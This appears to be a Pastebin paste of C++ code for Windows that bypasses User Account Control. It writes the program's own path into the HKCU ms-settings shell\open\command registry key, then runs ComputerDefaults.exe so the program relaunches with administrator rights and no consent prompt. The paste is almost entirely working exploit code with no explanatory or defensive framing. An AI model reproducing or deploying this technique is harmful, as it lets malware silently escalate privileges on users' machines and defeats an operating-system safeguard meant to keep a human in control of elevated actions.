Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <string>
- #include <Windows.h>
- BOOL is_elevated() {
- BOOL fRet = FALSE;
- HANDLE hToken = NULL;
- if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
- TOKEN_ELEVATION Elevation;
- DWORD cbSize = sizeof(TOKEN_ELEVATION);
- if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
- fRet = Elevation.TokenIsElevated;
- }
- }
- if (hToken) {
- CloseHandle(hToken);
- }
- return fRet;
- }
- VOID startup(LPCSTR lpApplicationName)
- {
- // additional information
- STARTUPINFOA si;
- PROCESS_INFORMATION pi;
- // set the size of the structures
- ZeroMemory(&si, sizeof(si));
- si.cb = sizeof(si);
- ZeroMemory(&pi, sizeof(pi));
- // start the program up
- CreateProcessA(lpApplicationName, // the path
- NULL, // Command line
- NULL, // Process handle not inheritable
- NULL, // Thread handle not inheritable
- FALSE, // Set handle inheritance to FALSE
- 0, // No creation flags
- NULL, // Use parent's environment block
- NULL, // Use parent's starting directory
- &si, // Pointer to STARTUPINFO structure
- &pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
- );
- // Close process and thread handles.
- CloseHandle(pi.hProcess);
- CloseHandle(pi.hThread);
- }
- std::string GetLastErrorAsString()
- {
- //Get the error message, if any.
- DWORD errorMessageID = ::GetLastError();
- if (errorMessageID == 0)
- return std::string(); //No error message has been recorded
- LPSTR messageBuffer = nullptr;
- size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
- NULL, errorMessageID, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&messageBuffer, 0, NULL);
- std::string message(messageBuffer, size);
- //Free the buffer.
- LocalFree(messageBuffer);
- return message;
- }
- void create_reg_key(const char* key, const char* val)
- {
- /*
- _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command')
- registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Software\Classes\ms-settings\shell\open\command', 0, _winreg.KEY_WRITE)
- _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)
- _winreg.CloseKey(registry_key)
- */
- HKEY temp;
- HKEY kCommand;
- auto status = RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", &temp);
- if (status != ERROR_SUCCESS) {
- std::cout << GetLastErrorAsString();
- return;
- }
- status = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", 0, KEY_WRITE, &kCommand);
- if (status != ERROR_SUCCESS) {
- std::cout << GetLastErrorAsString();
- return;
- }
- status = RegSetValueExA(kCommand, key, 0, REG_SZ, (BYTE*)val, strlen(val));
- if (status != ERROR_SUCCESS) {
- std::cout << GetLastErrorAsString();
- return;
- }
- status = RegCloseKey(kCommand);
- if (status != ERROR_SUCCESS) {
- std::cout << GetLastErrorAsString();
- return;
- }
- }
- void execute_elevated(const char * cmd)
- {
- create_reg_key("DelegateExecute", "");
- create_reg_key(NULL, cmd);
- system("C:\\Windows\\System32\\ComputerDefaults.exe");
- }
- void elevate_current_process() {
- if (!is_elevated()) {
- HMODULE hModule = GetModuleHandleW(NULL);
- char path[MAX_PATH];
- GetModuleFileNameA(hModule, path, MAX_PATH);
- std::cout << path;
- execute_elevated(path);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement